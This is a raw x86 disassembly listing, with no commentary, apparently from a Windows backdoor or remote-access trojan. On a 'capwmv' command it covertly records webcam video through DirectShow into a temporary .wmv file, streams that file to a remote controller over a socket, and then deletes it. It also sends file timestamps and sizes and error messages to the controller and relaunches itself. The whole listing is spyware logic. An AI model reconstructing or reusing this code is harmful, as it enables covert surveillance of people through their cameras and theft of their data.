call dword [sym.imp.KERNEL32.dll_FileTimeToLocalFileTime]
mov ebx, dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
lea edx, [esp + 0x78]
push edx
lea eax, [esp + 0x188]
push eax
call ebx
movzx ecx, word [esp + 0x82]
movzx edx, word [esp + 0x80]
movzx eax, word [esp + 0x7e]
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
push ecx
movzx ecx, word [esp + 0x7e]
push edx
movzx edx, word [esp + 0x80]
push eax
push ecx
push edx
lea eax, [esp + 0x1cc]
push str.ct:_u._.2u._.2u.__.2u:_.2u
push eax
call esi
add esp, 0x1c
lea ecx, [esp + 0x18c]
push ecx
mov edx, ecx
push edx
call dword [sym.imp.KERNEL32.dll_FileTimeToLocalFileTime]
lea eax, [esp + 0x78]
push eax
lea ecx, [esp + 0x190]
push ecx
call ebx
movzx edx, word [esp + 0x82]
movzx eax, word [esp + 0x80]
movzx ecx, word [esp + 0x7e]
push edx
movzx edx, word [esp + 0x7e]
push eax
movzx eax, word [esp + 0x80]
push ecx
push edx
push eax
lea ecx, [esp + 0x9f4]
push str.at:_u._.2u._.2u__.2u:_.2u
push ecx
call esi
xor eax, eax
add esp, 0x1c
test edi, edi
mov dword [esp + 0xbc], eax
mov dword [esp + 0xc0], eax
mov dword [esp + 0xc4], eax
je 0x40cd61
lea edx, [esp + 0xbc]
push edx
lea eax, [esp + 0x5eb]
push eax
call fcn.004032f0
mov ecx, dword [esp + 0xc4]
mov edx, dword [esp + 0xc8]
mov eax, dword [esp + 0xcc]
push ecx
push edx
push eax
lea ecx, [esp + 0x21c]
push str.___u_KB__d
push ecx
call esi
add esp, 0x1c
jmp 0x40cd8a
mov edx, dword [esp + 0x19c]
mov eax, dword [esp + 0x1a0]
shl edx, 0x16
shr eax, 0xa
add edx, eax
push edx
lea ecx, [esp + 0x20c]
push str.___u_KB
push ecx
call esi
add esp, 0xc
lea eax, [esp + 0x208]
mov edx, eax
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x40cd93
lea edi, [esp + 0xd80]
sub eax, edx
add edi, 0xffffffff
mov cl, byte [edi + 1]
add edi, 1
test cl, cl
jne 0x40cda8
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [esp + 0x1b8]
rep movsb byte es:[edi], byte [esi]
mov ecx, eax
jmp 0x40cdd0
mov dl, byte [eax]
add eax, 1
test dl, dl
jne 0x40cdd0
lea edi, [esp + 0xd80]
sub eax, ecx
mov esi, ecx
add edi, 0xffffffff
mov cl, byte [edi + 1]
add edi, 1
test cl, cl
jne 0x40cde7
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [esp + 0x9e0]
rep movsb byte es:[edi], byte [esi]
mov ecx, eax
mov dl, byte [eax]
add eax, 1
test dl, dl
jne 0x40ce08
lea edi, [esp + 0xd80]
sub eax, ecx
mov esi, ecx
add edi, 0xffffffff
nop
mov cl, byte [edi + 1]
add edi, 1
test cl, cl
jne 0x40ce20
jmp 0x40cec9
add eax, 0xffffffff
mov cl, byte [eax + 1]
add eax, 1
test cl, cl
jne 0x40ce32
mov edx, dword [str.getatbd_failed]
mov ecx, dword [0x40feac]
mov dword [eax], edx
mov edx, dword [0x40feb0]
mov dword [eax + 4], ecx
mov ecx, dword [0x40feb4]
mov dword [eax + 8], edx
push 0x12b
lea edx, [esp + 0x385]
push edi
push edx
mov dword [eax + 0xc], ecx
mov byte [esp + 0x38c], 0
call sub.MSVCR80.dll_memset
add esp, 0xc
push edi
push 0x12c
lea eax, [esp + 0x388]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push edi
push 0x1000
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
lea eax, [esp + 0x380]
mov ecx, eax
mov dl, byte [eax]
add eax, 1
test dl, dl
jne 0x40cea8
lea edi, [esp + 0xd80]
sub eax, ecx
mov esi, ecx
add edi, 0xffffffff
nop
mov cl, byte [edi + 1]
add edi, ebx
test cl, cl
jne 0x40cec0
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [esp + 0xd80]
rep movsb byte es:[edi], byte [esi]
lea edx, [eax + 1]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x40cee1
push 0
sub eax, edx
mov edx, dword [ebp + 8]
push eax
lea ecx, [esp + 0xd88]
push ecx
push edx
jmp 0x40830e
lea eax, [esp + 0x5e0]
push str.capwmv
push eax
call esi
add esp, 8
test eax, eax
je 0x408320
push edi
push edi
call dword [sym.imp.ole32.dll_CoInitializeEx]
mov esi, dword [sym.imp.ole32.dll_CoCreateInstance]
lea ecx, [esp + 0x24]
push ecx
push 0x40f548
push ebx
push edi
push 0x40f4a8
mov dword [esp + 0x34], edi
mov dword [esp + 0x38], edi
call esi
lea edx, [esp + 0x20]
push edx
push 0x40f538
push ebx
push edi
push 0x40f4b8
call esi
mov eax, dword [esp + 0x24]
mov edx, dword [esp + 0x20]
mov ecx, dword [eax]
push edx
push eax
mov eax, dword [ecx + 0xc]
call eax
lea ecx, [esp + 0x70]
push ecx
push 0x40ff98
push ebx
push edi
push 0x40f4c8
call esi
mov eax, dword [esp + 0x70]
mov edx, dword [eax]
mov edx, dword [edx + 0xc]
push edi
lea ecx, [esp + 0xd0]
push ecx
push 0x40f4d8
push eax
call edx
mov eax, dword [esp + 0xcc]
push edi
lea edx, [esp + 0x8c]
push edx
mov dword [esp + 0x90], edi
mov dword [esp + 0x64], edi
mov ecx, dword [eax]
push ebx
push eax
mov eax, dword [ecx + 0xc]
call eax
mov eax, dword [esp + 0x88]
mov ecx, dword [eax]
lea edx, [esp + 0x5c]
push edx
push 0x40f528
push edi
push edi
push eax
mov eax, dword [ecx + 0x20]
call eax
mov eax, dword [esp + 0x20]
mov edx, dword [esp + 0x5c]
mov ecx, dword [eax]
push str.Capture_Filter
push edx
push eax
mov eax, dword [ecx + 0xc]
call eax
mov eax, dword [esp + 0x70]
mov ecx, dword [eax]
push edi
lea edx, [esp + 0xd4]
push edx
push 0x40f4e8
push eax
mov eax, dword [ecx + 0xc]
call eax
mov eax, dword [esp + 0xd0]
push edi
lea edx, [esp + 0x40]
push edx
mov dword [esp + 0x44], edi
mov dword [esp + 0x5c], edi
mov ecx, dword [eax]
push ebx
push eax
mov eax, dword [ecx + 0xc]
call eax
mov esi, eax
cmp esi, edi
jl 0x40d055
mov eax, dword [esp + 0x3c]
mov ecx, dword [eax]
lea edx, [esp + 0x54]
push edx
push 0x40f528
push edi
push edi
push eax
mov eax, dword [ecx + 0x20]
call eax
mov eax, dword [esp + 0x20]
mov edx, dword [esp + 0x54]
mov ecx, dword [eax]
push str.Capture1_Filter
push edx
push eax
mov eax, dword [ecx + 0xc]
call eax
mov eax, dword [esp + 0x24]
push edi
lea edx, [esp + 0x1c]
push edx
push 0x40ff4c
mov dword [esp + 0x24], edi
mov ecx, dword [eax]
push 0x40f498
push eax
mov eax, dword [ecx + 0x14]
call eax
mov eax, dword [esp + 0x18]
lea edx, [esp + 0x48]
push edx
mov dword [esp + 0x4c], edi
mov ecx, dword [eax]
push str.0__bE
push eax
mov eax, dword [ecx]
call eax
cmp esi, edi
mov eax, dword [esp + 0x48]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x14]
jl 0x40d0a2
push 0x40f584
jmp 0x40d0a7
push 0x40f594
push eax
call edx
mov edx, dword [esp + 0x18]
mov eax, dword [esp + 0x24]
mov ecx, dword [eax]
push edx
mov edx, dword [esp + 0x60]
push edi
push edx
push str.vids
push 0x40f4f8
push eax
mov eax, dword [ecx + 0x1c]
call eax
cmp esi, edi
jl 0x40d0f0
mov edx, dword [esp + 0x18]
mov eax, dword [esp + 0x24]
mov ecx, dword [eax]
push edx
mov edx, dword [esp + 0x58]
push edi
push edx
push 0x40f488
push 0x40f4f8
push eax
mov eax, dword [ecx + 0x1c]
call eax
mov eax, dword [esp + 0x20]
lea edx, [esp + 0x64]
push edx
mov dword [esp + 0x68], edi
mov dword [esp + 0x48], edi
mov ecx, dword [eax]
push 0x40f508
push eax
mov eax, dword [ecx]
call eax
mov eax, dword [esp + 0x20]
mov ecx, dword [eax]
lea edx, [esp + 0x44]
push edx
push 0x40f518
push eax
mov eax, dword [ecx]
call eax
mov eax, dword [esp + 0x64]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x1c]
push eax
call edx
mov eax, dword [esp + 0x44]
mov ecx, dword [eax]
lea edx, [esp + 0x104]
push edx
push 0xea60
push eax
mov eax, dword [ecx + 0x24]
call eax
mov eax, dword [esp + 0x64]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x24]
push eax
call edx
call dword [sym.imp.ole32.dll_CoUninitialize]
push edi
push 0x80
push 3
push edi
push 3
push closesocket
push str.D:_asdfgh.wmv
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [esp + 0x1c], ebx
mov ebx, dword [ebp + 8]
mov esi, eax
lea ecx, [ecx]
push edi
lea eax, [esp + 0x20]
push eax
push 0x400
lea ecx, [esp + 0x121c]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [esp + 0x1c]
cmp eax, edi
jbe 0x40d1b8
push edi
push eax
lea edx, [esp + 0x1218]
push edx
push ebx
call sub.WS2_32.dll_send
cmp dword [esp + 0x1c], edi
ja 0x40d180
mov eax, dword [0x40f6b4]
mov ecx, dword [0x40f6b8]
mov dl, byte [0x40f6bc]
mov dword [esp + 0x180], eax
xor eax, eax
push 0x32
mov dword [esp + 0x188], ecx
mov byte [esp + 0x18c], dl
mov dword [esp + 0x18d], eax
mov dword [esp + 0x191], eax
mov word [esp + 0x195], ax
mov byte [esp + 0x197], al
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x180]
lea edx, [eax + 1]
nop
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x40d210
push edi
sub eax, edx
push eax
lea eax, [esp + 0x188]
push eax
push ebx
call sub.WS2_32.dll_send
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.D:_asdfgh.wmv
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x408320
call sub.WS2_32.dll_WSAGetLastError
cmp eax, 0x2746
je 0x40d388
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x408320
push 0x12b
lea ecx, [esp + 0xfad]
push edi
push ecx
mov byte [esp + 0xfb4], 0
call sub.MSVCR80.dll_memset
add esp, 0xc
push 0x12c
lea edx, [esp + 0xfac]
push edx
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov eax, dword [str.mmip]
mov cx, word [0x40f5a8]
mov dword [esp + 0x27c], eax
xor eax, eax
mov dword [esp + 0x282], eax
mov dword [esp + 0x286], eax
mov dword [esp + 0x28a], eax
mov dword [esp + 0x28e], eax
mov dword [esp + 0x292], eax
mov dword [esp + 0x296], eax
lea eax, [esp + 0x1a4]
mov word [esp + 0x280], cx
mov ecx, eax
mov dl, byte [eax]
add eax, 1
test dl, dl
jne 0x40d2e1
lea edi, [esp + 0x27c]
sub eax, ecx
mov esi, ecx
add edi, 0xffffffff
mov cl, byte [edi + 1]
add edi, ebx
test cl, cl
jne 0x40d2f8
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push 0
push 0
mov ecx, eax
lea edx, [esp + 0x284]
push edx
lea eax, [esp + 0xfb4]
push eax
push str.open
and ecx, 3
push 0
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x12b
lea ecx, [esp + 0xfad]
push edi
push ecx
mov byte [esp + 0xfb4], 0
call sub.MSVCR80.dll_memset
add esp, 0xc
push 0x12c
lea edx, [esp + 0xfac]
push edx
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push edi
push edi
push edi
lea eax, [esp + 0xfb4]
push eax
push str.open
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push edi
push edi
lea ecx, [esp + 0x1ac]
push ecx
push 0x407d30
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [esp + 0x5f0c]
pop edi
pop esi
pop ebx
xor ecx, esp
xor eax, eax
call fcn.0040e2e2
mov esp, ebp
pop ebp
ret